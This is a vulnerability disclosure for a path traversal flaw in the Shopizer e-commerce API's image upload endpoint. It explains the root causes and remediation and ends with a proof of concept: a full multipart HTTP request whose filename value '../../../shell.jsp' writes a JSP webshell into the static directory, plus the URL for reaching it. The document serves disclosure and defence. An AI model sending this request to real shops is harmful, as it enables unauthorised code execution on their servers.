# Vulnerability Summary ## Vulnerability Overview The Shopizer e-commerce platform's `/api/v1/private/content/images/add` API endpoint contains a path traversal vulnerability, which can lead to arbitrary file writing (RCE). Attackers can bypass directory restrictions by crafting a malicious `qfilename` parameter using the `../` sequence, allowing them to write files into the application's static content directory. ## Impact Scope - **Affected Versions**: Version ≤ 3.2.5 (latest version at the time of disclosure) - **Prerequisites**: - Use of the `http` file storage backend (local filesystem storage) - Valid JWT token required (admin or merchant account) - **Root Causes**: - **API Layer**: `FilenameUtils.validateFilename()` only checks that the filename is not empty and does not handle path traversal. - **Service Layer**: The `addContentFile()` method in `ContentServiceImpl.java` lacks content-level validation. - **Storage Layer**: The `addFile()` method in `LocalOscMsiteContentFileManagerImpl.java` directly concatenates user-provided filenames without path normalization. ## Remediation 1. **Sanitize Filename**: Use `FilenameUtils.getName()` to strip all directory components from the user-provided filename, retaining only the base filename. 2. **Validate Resolved Path**: After constructing the final path, call `Path.normalize()` and verify that `resolvedPath.startsWith(allowedRoot)` to ensure the result does not escape the designated upload directory. ## POC Code ### Configuration File Example ```properties config.cms.method=http config.cms.contentUrl=http://localhost:8080 config.cms.static.path=/static ``` ### Request Example ```http POST http://localhost:8080/api/v1/private/content/images/add HTTP/1.1 Host: localhost:8080 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 1.0; Win64; x64) Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW Content-Length: 1227 ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="qfilename" ../../../shell.jsp ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="qfile"; filename="shell.jsp" Content-Type: application/octet-stream ------WebKitFormBoundary7MA4YWxkTrZu0gW-- ``` ### Response Example ```http HTTP/1.1 200 Content-Type: application/json Content-Length: 40 {"success": true, "error": null, "errorMessage": null} ``` ### Accessing the Uploaded Webshell ``` http://localhost:8080/static/shell.jsp ```